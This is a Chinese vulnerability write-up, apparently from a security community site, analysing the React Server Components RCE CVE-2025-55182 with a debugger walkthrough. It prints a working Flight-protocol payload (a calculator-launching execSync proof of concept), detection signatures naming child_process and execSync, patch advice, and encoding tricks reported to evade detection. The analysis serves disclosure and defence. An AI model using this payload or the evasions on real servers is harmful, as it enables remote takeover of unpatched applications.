React2Shell_CVE-2025-55182漏洞分析
漏洞分析
在 React 框架某些版本存在的远程代码执行漏洞(CVE-2025-55182)中,由于 RSC 在解析客户端的相关请求时缺少安全校验,攻击者可通过构造恶意请求,从而在服务器上执行任意代码,甚至完全接管服务。
0x01 漏洞背景 --------- ### 1.1 漏洞介绍 React 是由 Meta 开源、用于构建用户界面的 JavaScript 库。其 React Server Components(RSC)架构允许组件在服务端渲染并序列化输出,通过“Flight”协议以 JSON-like 流式格式发送到客户端,实现零客户端 JS 体积的交互体验。 React 某些版本被披露存在远程代码执行漏洞(CVE-2025-55182)。在该漏洞中,由于RSC 在解析客户端的相关请求时缺少安全校验,攻击者可通过构造恶意请求,从而在服务器上执行任意代码,甚至完全接管服务。目前漏洞EXP已公开,并出现大范围扫描利用。 ### 1.2 React Server Component React Server Components是 React 团队在 React 18 实验阶段提出、在 React 19 稳定的新特性。 简单来讲,RSC 把组件分为`Server Component` 和 `Client Component` 两类,所有的传统组件都是 `Client Component`,`Server Component` 和前者的区别在于它在服务端而非浏览器端渲染。 在服务端,`Server Component` 可以运行复杂逻辑,可以通过网络通信、文件操作等方式直接访问数据源,也可以重复利用重型代码,如各种重量级的包。通过这些特性,RSC 实现了更快的页面加载、更小的 JavaScript 打包大小、更好的用户体验。 ### 1.3 Flight 协议 Flight 是 RSC 的核心通信协议,用于在服务器与客户端之间传输组件树信息与渲染指令。 **工作流程** - 服务端渲染 RSC,生成组件树的 Flight 流(含类型标记、ID、负载数据)发送给客户端;客户端接收 Flight 流后,解码并重建组件树,与本地客户端组件拼接渲染。 - 客户端触发 Server Action 时,将调用信息编码为 Flight Reply 发送至服务端,服务端解析、执行后返回结果。 - - - - - - 0x02 漏洞原理 --------- **概念:** 服务端处理 Flight Reply 时,是通过 `decodeReply` / `decodeReplyFromBusboy` 函数把来自客户端的 Flight 流反序列化成对应的对象/函数。在这个过程中,React 对于客户端数据没有足够的检验和限制,致使漏洞存在。 **利用:** 伪造一个恶意 Chunk 对象,在反序列化过程中触发恶意代码。 > 「Chunk 对象」是 RSC 协议里最小的“数据块+状态机”单位: 每行 Flight 流对应一个带 ID 的 Chunk,内部标记 PENDING → RESOLVED → INITIALIZED;服务端边渲染边 flush,客户端收到即按 ID 解析,可独立渲染或等待依赖,实现流式、渐进、可回溯的组件输出。(来自Kimi) - - - - - - 0x03 POC 调试 ----------- ### 3.1 环境准备 自定义一个简单 Server,使用底层库 `busboy` 处理传入数据,然后直接把 Busboy 流传入 `decodeReplyFromBusboy()`函数处理。  payload 示例:  ### 3.2 注册事件+构造初始对象 先跟进`decodeReplyFromBusboy()`函数。  函数接收上述 `busbuoyStream` 和两个 undefined 值作为参数,并以此为基础通过 `createResponse()` 函数构建出如下`response`对象。  ```json // response { \_bundlerConfig: undefined, \_prefix: "", \_formData: FormData { }, \_chunks: Map(0) { }, \_closed: false, \_closedReason: null, \_temporaryReferences: undefined, } ``` 然后为 `busbuoyStream` 添加三个监听事件,这里只关注 “field” 事件即可。注册完毕之后返回一个由`getChunk()`函数构建的 `Chunk` 对象。跟进`getChunk()`函数:  最终返回如下 Chunk 对象: ```json // response { _bundlerConfig: undefined, _prefix: "", _formData: FormData { }, _chunks: Map(0) { }, _closed: false, _closedReason: null, _temporaryReferences: undefined, } ``` > 由于引用的特性,在该 `Chunk` 对象包含一个值为变量 `response` 的\_response属性的同时,该 `Chunk` 对象也被放入了 `response` 变量的\_chunks 属性中,对应的 key 是传入的固定数值 `0`。 回到 Server,此时把请求数据推给 `busboyStream`,再 await 调用上述 `Chunk` 实例。 ### 3.3 解析请求数据 第一次触发 “filed” 事件,上述 `response` 和请求数据中第一个键值对传入 `resolveField()`函数,跟进该函数。  **resolveField()**  进入函数体, - 先为 `response` 对象的\_formData属性添加上述键值对作为其第1个元素。 - 经过绝对成立的条件判断后,`response` 对象被重新赋值为自身的\_chunks 属性(唯一元素值为上述 `_chunks[0]`对象的 Map实例) - 局部变量 `prefix` 被重新赋值为上述 `_chunks[0]` 对象,随上述请求数据中的键值对传入`resolveModelChunk()`函数。 **resolveModelChunk()**  跟进`resolveModelChunk()`函数:经过几个条件判断语句,最终上述`_chunks[0]`对象 status 属性被重新赋值为" resolved\_model",value 属性被赋值为请求中的 payload,reason 属性被赋值为上述 payload 对应的键名 “0”。 第1个请求数据字段对应的 `Chunk` 对象 `_chunks[0]`已经构建完成。 继续运行,“filed” 事件再次触发,上述 `response` 和请求数据中第2个键值对传入 `resolveField()`函数,继续跟进。  还是进入 **resolveField()** 函数,  与上一轮相同: - 为 `response` 对象的 \_formData 属性添加上述键值对作为其第2个元素。 - 经过绝对成立的条件判断后,`response` 对象被重新赋值为自身的 \_chunks 属性(唯一元素值为上述 `_chunks[0]` 对象的 Map实例) - 因为 response (\_chunks)只有一个元素且键是数字 0,所以根据值为 1 的 key 变量取值返回 undefined,跳过`resolveModelChunk()`函数调用。 此时,实际只有一个 Chunk 对象被构建,response 对象的 \_formData 属性存储了两个字段。 ```json // _chunks[0] { status: "resolved_model", value: "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":0,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", reason: 0, _response: { _bundlerConfig: undefined, _prefix: "", _formData: { Symbol: [ {name: '0', value: '{"then":"$1:__proto__:then","status":"resolve…mData":{"get":"$1:constructor:constructor"}}}'}, {name: '1', value: '"$@abc"'}] }, _chunks: {0: $Chunk}, _closed: false, _closedReason: null, _temporaryReferences: undefined, }, [[Prototype]] = Promise, } ``` ### 3.4 then回调 请求中的两个字段数据解析完毕后,进入 `await _chunks[0]`。 而如下图,Chunk 函数通过原型继承了 Promise 函数,并重写了其原型对象中的 then 方法。所以 `await _chunks[0]` 将触发`_chunks[0].then()`。  如上,因为 `_chunks[0]`的 status 属性等于“resolved\_model”,所以进入 `initializeModelChunk()` 函数分支。 **initializeModelChunk()**  声明、赋值几个变量后,`_chunks[0]`的 `status` 属性修改为“cyclic”,`chunk.reason`和`chunk.value`都修改为 `null`。而后,response、原 `chunk.value`进行 JSON 反序列化获得的对象 、`chunk.reason`的字符串值传入 `reviveModel()`函数。 **reviveModel()\_0**  `reviveModel`函数中, - 如上所述,形参 value 是原`chunk.value`进行 JSON 反序列化获得的对象,所以进入第2个 if 分支 - 因为 `response._temporaryReferences` 的值原本就是 `undefined`,所以没有传入新值 - 因为如上所述,value 是个普通对象不是 Array,进入 else 分支 - 遍历 value 对象的属性,检查属性是否为 value 自身属性后,给 parentObj 重新赋值为“0:then”字符串 - value 变 parent、value\[i\] 变 value 后,递归调用`reviveModel()`函数 **reviveModel()\_1\_1** ```javascript // reviveModel(response, parentObj, parentKey, value, reference) // 五个参数依次排开 $response { then: "$1:__proto__:then", status: "resolved_model", reason: 0, value: "{\"then\":\"$B\"}", _response: { _prefix: "process.mainModule.require('child_process').execSync('open -a Calculator');", _formData: { get: "$1:constructor:constructor", }, }, } "then" "$1:__proto__:then" "0:then" ``` 因为 value 是字符串`"$1:__proto__:then"`,所以直接进入`parseModelString()`函数,并返回其返回值。跟进该函数。 运行结果如下图,因为字符“1”没有对应的预置处理方式,经过几个 switch 分支后,value 被去除“$”前缀后一起进入`getOutlinedModel()`函数。  **getOutlinedModel()**  value 传入后根据“:”分割为包含三个元素的数组 reference,reference第一个元素转为数值型赋值给局部变量 id,而后传入 `getChunk()`函数并把返回值重新复制给 id。 **getChunk()**  `getChunk()`函数中,因为这次传入的 id 值为`1`,所以也是构造并返回了第二个 Chunk 对象(如下)。同样,这个 Chunk 对象也被放入了 response 对象的\_chunks 属性中,对应的 key 值为`1`。 ```json // _chunks[1] { status: "resolved_model", value: "\"$@abc\"", reason: 1, _response: { _bundlerConfig: undefined, _prefix: "", _formData: { }, _chunks: { }, _closed: false, _closedReason: null, _temporaryReferences: undefined, }, } ``` 回到 `getOutlinedModel()`,紧接着 又进入`initializeModelChunk()`  **initializeModelChunk()**  同样的,`_chunks[1]` 的 `status` 属性修改为“cyclic”,`chunk.reason`和`chunk.value`都修改为 `null`。而后,response、原 `chunk.value`进行 JSON 反序列化获得的对象(字符串"$@abc") 、`chunk.reason`的字符串值传入 `reviveModel()`函数。 因为上述 value 是个字符串,所以进入第一个分支——`parseModelString()`函数:  如上,字符串“abc”按照十六进制解析得到数字2748(没什么用,能解析成数字就可以),作为参数 id传入 getChunk 函数,获得以下 Chunk 对象: ```json // _chunks[2748] { status: "pending", value: null, reason: null, _response: { _bundlerConfig: undefined, _prefix: "", _formData: { Symbol * 2 }, _chunks: { Chunk * 3 }, _closed: false, _closedReason: null, _temporaryReferences: undefined, }, } ``` 回到 `initializeModelChunk()` ,  `_chunks[1]` 的 status 属性被修改为“fulfilled”,value 属性被修改为 `_chunks[2748]`。 回到 `getOutlinedModel()`,  因为 `_chunks[1].status` 等于 “fulfilled”,`parentObject` 被临时赋值为 `_chunks[2748]`。 第一次循环,取出 reference 第2个元素`'__proto__'`作为 key取出 `parentObject` 对应属性为`parentObject` 重新赋值。 第二次循环,取出 reference 第2个元素`'then'`作为 key取出 `parentObject` 对应属性并为`parentObject` 重新赋值。 `_chunks[2748]` 作为 Chunk 实例,其 `__proto__`属性及 `__proto__.then` 自然是如前文所展示:[Chunk.prototype](#Chunk.prototype) 循环结束,response 与上述 then 函数作为参数传入 `createModel()` 函数。  `createModel()` 函数直接返回传入的 model 参数,所以 `getOutlinedModel()`函数最终返回 Chunk 对象自定义的 then函数,也就是递归调用的 **reviveModel()\_1\_1** 函数最终返回上述 then 函数。 **reviveModel()\_0**  回到表层`reviveModel()`函数,parentObj 接收上述 then 函数作为新值并赋值给 `value` 的 then 属性。`value` 由请求表单中第1个参数值 JSON 反序列化得到。 继续 for 循环遍历 `value` 的各属性: - “status” 属性的值“resolved\_model”是字符串,且没有以“$”开头,所以其被原封不动返回 - “reason” 属性值为数值型 -1,直接返回 - “value” 属性同上 - “\_response” 属性是一个非 Array 类型对象,跟进递归调用的 `reviveModel()` 函数 **reviveModel()\_1\_5**  与表层reviveModel相同,`value` 是一个 Object 对象,所以再次进入递归调用: - \_prefix 属性:值为字符串,且没有以“$”开头,返回原值 - \_formData 属性:值为非 Array 类型的对象,再次进入 `reviveModel()` 函数递归调用 **reviveModel()\_2\_2**  `0:_response:_formData:get` 值为字符串 `"$1:constructor:constructor"`,所以同上将会:`reviveModel()` => `parseModelString()` => `getOutlinedModel()`,跟进 `getOutlinedModel()`。 **getOutlinedModel()**  字符串 `"$1:constructor:constructor"`被分割为包含三个元素的数组,id 被赋值为数字`1`,进入`getChunk()`:  与前两次不同,这次使用传入的 id 作为 key可以取出 `_chunks[1]`,所以`_chunks[1]`被直接返回。 回到 `getOutlinedModel()`,  因为 `_chunks[1].status` 已经是 “fulfilled”,所以不再进入“resolved\_model”分支,直接进入“fulfilled”分支,`parentObject` 被赋值为`_chunks[1].value`, 也就是 `_chunks[2748]`。 第一次循环,取出 reference 第2个元素`'constructor'`作为 key取出 `_chunks[2748].constructor` ,值为:`[Function: Promise]` 第二次循环,取出 reference 第2个元素`'constructor'`作为 key取出`[Function: Promise].constructor` ,值为:`[Function: Function]`。 循环结束,`getOutlinedModel()`函数结束,递归调用的 **reviveModel()\_2\_2** 函数最终返回`[Function: Function]`。 **reviveModel()\_1\_5**  回到 `reviveModel()_1_5`,`0:_response:_formData:get`的值被更新为`[Function: Function]`。 回到表层`reviveModel()`,`value` 元素遍历结束, `value` 此时值如下: ```json { then: function (resolve, reject) { switch (this.status) { case "resolved_model": initializeModelChunk(this); } switch (this.status) { case "fulfilled": resolve(this.value); break; case "pending": case "blocked": case "cyclic": resolve && (null === this.value && (this.value = []), this.value.push(resolve)); reject && (null === this.reason && (this.reason = []), this.reason.push(reject)); break; default: reject(this.reason); } }, status: "resolved_model", reason: 0, value: "{\"then\":\"$B\"}", _response: { _prefix: "process.mainModule.require('child_process').execSync('open -a Calculator');", _formData: { get: function Function() { [native code] }, }, }, } ``` 可以看到,当前 `value` 除了确实不是一个 Chunk 实例之外,基本跟一个 Chunk 实例没什么区别。 回到梦开始的地方: **initializeModelChunk()**  `_chunks[0]` 的 status 属性被修改为“fulfilled”,value 属性被修改为上述 `value` 值。 `initializeModelChunk()`函数结束,回到回调的 `then()` 函数:  `_chunks[0].status` 等于“fulfilled”,上述 `value` 被 `resolve`。于是进入 `value.then()`。 ### 3.5 value.then回调  进入**initializeModelChunk()**  `value` 的 `status` 属性修改为“cyclic”,`value.reason`和`value.value`都修改为 `null`。而后,`value._response`、原 `value.value`进行 JSON 反序列化获得的对象 、`chunk.reason`的字符串值传入 `reviveModel()`函数。 跟前文一样,因为`value.value`被反序列化为以下非 Array 类型对象,所以`reviveModel()`函数将会递归调用,遍历该对象的每个属性。 ```javascript { then: "$B" } ``` 跳过重复部分,跟进递归调用:  因为当前 value 值`$B`是字符串,所以进入 `parseModelString()`函数:  `case "B"` ,返回 `response._formData.get(response._prefix + obj)`。前面已知: - `value._response._formData.get` 值为 `[Function: Function]`,是**所有函数的构造函数**。 - `value._response._prefix` 值为原始传入的恶意 payload 所以 `parseModelString()`函数将返回一个**函数体为上述指定恶意代码的匿名函数**。 回到`reviveMode()` 函数,  上述对象的`then` 属性值从 `"$B"` 被替换为上述匿名函数。 回到 `initializeModelChunk()` 函数,  `value.status` 修改为 “fulfilled”,`value.value` 修改为以下对象: ```javascript { then: function anonymous() { process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//NaN }, } ``` 回到 `value.then()`,  `value.status` 已经被修改为“fulfilled”,于是 `resolve(value.value)`,也就是调用`value.value.then()`,于是上述包含恶意代码的匿名函数被执行。  - - - - - - 0x04 利用链梳理 ---------- ### 4.1 构造假 Chunk 1. 首先是构造 multipart/form-data 请求 2. 构造请求数据 ```json Content-Disposition: form-data; name="0" // 每个请求字段都会被尝试解析成一个 Chunk // 以下 JSON 对象属性对应 Chunk 对象的各项属性 { "then": "$1:__proto__:then", // 原型链遍历,获取 Chunk.__proto__:then "status": "resolved_model", // 伪造状态 "reason": 0, "value": "{\"then\":\"$B\"}", // 调用 _formData.get "_response": { "_prefix": "process.mainModule.require('child_process').execSync('open -a Calculator');throw new Error('halt');//", // 恶意代码 "_formData": { "get": "$1:constructor:constructor" // 获取 [Function: Function];覆盖FormData.get()方法调用 } } } Content-Disposition: form-data; name="1" "$@abc" // case "@": Chunk 引用,获取或创建一个 Chunk 对象 ``` ### 4.2 原型链遍历 ```javascript Chunk[0].then() ↓↓↓ initializeModelChunk(Chunk[0]) ↓↓↓ reviveModel() // 遍历 Chunk[0].value,第一个元素是 "then": "$1:__proto__:then" "then": "$1:__proto__:then" => ↓↓↓ parseModelString() // 校验、解析 $B、$@ 等开头的各类字符串对象 "$1:__proto__:then" => "1:__proto__:then" => ↓↓↓ getOutlineModel() "1:__proto__:then" => ["1", "__proto__", "then"] // 遍历 "1" => getChunk() => Chunk[1] ↓↓↓ initializeModelChunk(Chunk[1]) ↓↓↓ reviveModel() // Chunk[1].value是字符串:"$@abc" ↓↓↓ parseModelString() // 校验 $B、$@ 等开头的各类字符串对象 "$@abc" => getChunk(..., parseInt("abc", 16)) => Chunk[2748] Chunk[1].value = Chunk[2748] "__proto__" => Chunk[2748].__proto__ "then" => Chunk[2748].__proto__.then Chunk[0].value.then = Chunk[2748].__proto__.then ``` 至此,`Chunk[0].value.then` 的值就变为了 Chunk 函数的原型对象的 then 属性,一个 React 自定义匿名函数。 - `"$@abc"` 只需要满足以 `$@` 开头,后半段可以按照十六进制解析为 `Int` 即可 - `"$@"`:原始 Chunk 引用 ### 4.3 获取构造函数 继续遍历 `Chunk[0].value` 剩下的元素,基本是同样的方式获取函数构造器 `[Function: Function]`并赋值给`Chunk[0].value._response._formData.get` 。 ```javascript "status", "reason", "value"... // 非$开头的普通字符串或 Int,直接返回 "_response": {} => ↓↓↓ reviveModel() // 遍历 Chunk[0].value._response "_prefix": "eval_code" // 非$开头的普通字符串,直接返回 "_formData": {} => ↓↓↓ reviveModel() // 遍历 Chunk[0].value._response._formData "get": "$1:constructor:constructor" => parseModelString() ↓↓↓ getOutlinedModel() "1:constructor:constructor" => ["1", "constructor", "constructor"] // 遍历 ↓↓↓ "1" => getChunk() => Chunk[1] "constructor" => Chunk[2748].constructor "constructor" => Chunk[2748].constructor.constructor Chunk[0].value._response._formData.get = [Function: Function] ``` 到此完成了假 Chunk 的伪造——`Chunk[0].value`。 ### 4.4 调用恶意函数 遍历完 `Chunk[0].value`所有元素之后, `reviveModel()`函数结束,回到 `initializeModelChunk()` 函数,`Chunk[0].status` 的值修改为 “fulfilled”,然后回到 `Chunk[0].then()`。 `Chunk[0].then()` 执行 `resolve(Chunk[0].value)` ,进入 `Chunk[0].value.then()`。 ```javascript // Chunk[0].status = "fulfilled" => resolve(Chunk[0].value) Chunk[0].value.then() ↓↓↓ initializeModelChunk(Chunk[0].value) Chunk[0].value.value = "{"then": "$B"}" => {then: "$B"} ↓↓↓ reviveModel(..., {then: "$B"},...) ↓↓↓ reviveModel(..., "$B",...) ↓↓↓ parseModelString(..., "$B",...) case "$" => case "B" => return Chunk[0].value._response._formData.get(Chunk[0].value._response._prefix + parseInt("", 16)) Chunk[0].value.status = "fulfilled" Chunk[0].value.value.then = Function{Evil_code} resolve(Chunk[0].value.value) => Chunk[0].value.value.then() ``` - `"$B"` :Blob 对象引用;`"$B"`后的字符串内容无所谓,满足可以按照十六进制解析即可。 - 针对真实 Chunk 来获取 formData 的操作被 `"Chunk[0].value._response._formData.get"` 覆盖,实际调用的是函数构造器 `[Function: Function]` - 函数构造器的参数是指定的恶意代码;真实 Chunk 的`_response._prefix` 值是一个空字符串 `""` - `resolve(Chunk[0].value.value)` \\=> `Chunk[0].value.value.then()` - - \* 0x05 影响范围&处置建议 ------------------ ### 5.1 影响范围 **影响版本** - React Server 19.0.0 - React Server 19.0.1 (注:部分早期补丁未完全覆盖) - React Server 19.1.\* - React Server 19.2.0 **其他受影响组件/应用:** - Next.js v15.0.0 - v15.0.4 - Next.js v15.1.0 - v15.1.8 - Next.js v15.2.x - v15.5.6 - Next.js v16.0.0 - v16.0.6 - Next.js v14.3.0-canary.77 及以上 Canary 版本 - Dify、NextChat 等通用产品 ### 5.2 处置建议: 官方已发布安全补丁,请及时更新至最新版本: - React: 19.0.1+, 19.1.2+, 19.2.1+ - Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+ 下载地址: [https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%5B) ❗️可通过以下命令或查看 package.json 文件自查当前版本: `npm list react-server-dom-webpack react-server-dom-turbopack react-server-dom-parcel` - - - - - - 0x06 检测与绕过 ---------- ### 6.1 可检测特征 **对象属性/固定特征:** - POST 请求方法 - "then","status","reason","\_response","\_prefix","\_formData" - \_\_proto\_\_:then,constructor:constructor - $B,$@ **常用恶意payload特征:** - process.mainModule.require - child\_process - execSync / exec / spawn / spawnSync / execFileSync - fs.readFileSync / fs.writeFileSync - vm.runInThisContext / vm.runInNewContext ### 6.2 攻击结果检测 由于最后执行代码是通过链式调用 thenable 对象的 then 方法,当前对象返回的 status 由攻击者控制,整体响应由实际的应用环境封装控制,所以: - 如果有回显,可以校验响应内容来判断常规命令执行的结果 - 攻击成功不一定返回 positive 响应;negative 响应不一定表示攻击失败 - 没有响应(阻塞)不一定表示攻击失败 ### 6.3 payload 绕过 #### ✅ Unicode 编码 如:`child_process` = > `\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073` 在构造假 Chunk 的 JSON 数据部分,不区分键名/键值,所有字符串都可以进行 Unicode 编码,不影响解析。 不过不支持 Java 中常见的如 `\uuu0063` 等变种。 #### ✅ 十六进制编码 如:`child_process` => `\x63hild_process` 可行,但仅限在 `_response._prefix` 的恶意代码的语句参数部分,语句本身不行;固定的 JSON 键值对内容不行。 #### ✅ String.fromCharCode() 如:`'child_process'` => `'child_' + String.fromCharCode(112,114,111,99,101,115,115)` 可行,但仅限在 `_response._prefix` 的恶意代码的语句参数部分,语句本身不行;固定的 JSON 键值对内容不行。 可知,以下变种也可: ```javascript 'child_process' => 'child_' + String.fromCharCode(0o160, 0o162, 0o157, 0o143, 0o145, 0o163, 0o163) 'child_process' => 'child_' + String.fromCharCode(0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73) 'child_process' => 'child_' + String.fromCharCode(0b1110000, 0b1110010, 0b1101111, 0b1100011, 0b1100101, 0b1110011, 0b1110011) 'child_process' => 'child_' + String.fromCharCode(112, 114, 0o157, 0O143, 0x65, 0x73, 0b1110011) String.fromCharCode(112, 114, ...) => const abc = String.fromCharCode; abc(112, 114, ...) ``` #### ✅ 字符集 请求数据由 busboy 进行处理,busboy 支持提取不同的字符集进行对应解码,譬如**utf16le**: ```javascript Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then"...constructor"}}} ↓↓↓ Content-Disposition: form-data; name="0" Content-Type: text/plane;charset=utf16le {.".t.h.e.n.".:.".$.1.:._._.p.r.o.t.o._._.:.t.h.e.n."....c.o.n.s.t.r.u.c.t.o.r.".}.}.}. // . => \x00 ``` #### ❌ URL 编码 对 payload 进行 URL 编码,如: `child_process` => `child%5Fprocess` `constructor:constructor` => `%63%6f%6e%73%74%72%75%63%74%6f%72%3a%63%6f%6e%73%74%72%75%63%74%6f%72` 实测不论是 JSON 键值对内容,还是 `_response._prefix` 的恶意代码部分,URL 编码后解析都会报错。 #### ❌ 大小写 ```php child_process => Child_Process constructor:constructor => Constructor:conStructor ``` 实测不行,JS 大小写敏感。 #### ❌ 插入特殊字符 在 payload 中插入`\t\n`等空白字符或不可见字符,如: ```javascript constructor:constructor => constructor : constructor constructor:constructor => constructor\t:\tconstructor constructor:constructor => constructor\n:\nconstructor ``` 实测不行。 - - - - - - 0x07 参考链接 --------- - <https://github.com/ejpir/CVE-2025-55182-research> - <https://mp.weixin.qq.com/s/-VkM9cojerdKE4uvRBOKWQ> - <https://mp.weixin.qq.com/s/XoXTayclSzrOAmBZeQT9Fw>
发表于 2026-02-09 16:49:48
阅读 ( 7355 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
云影实验室
2 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!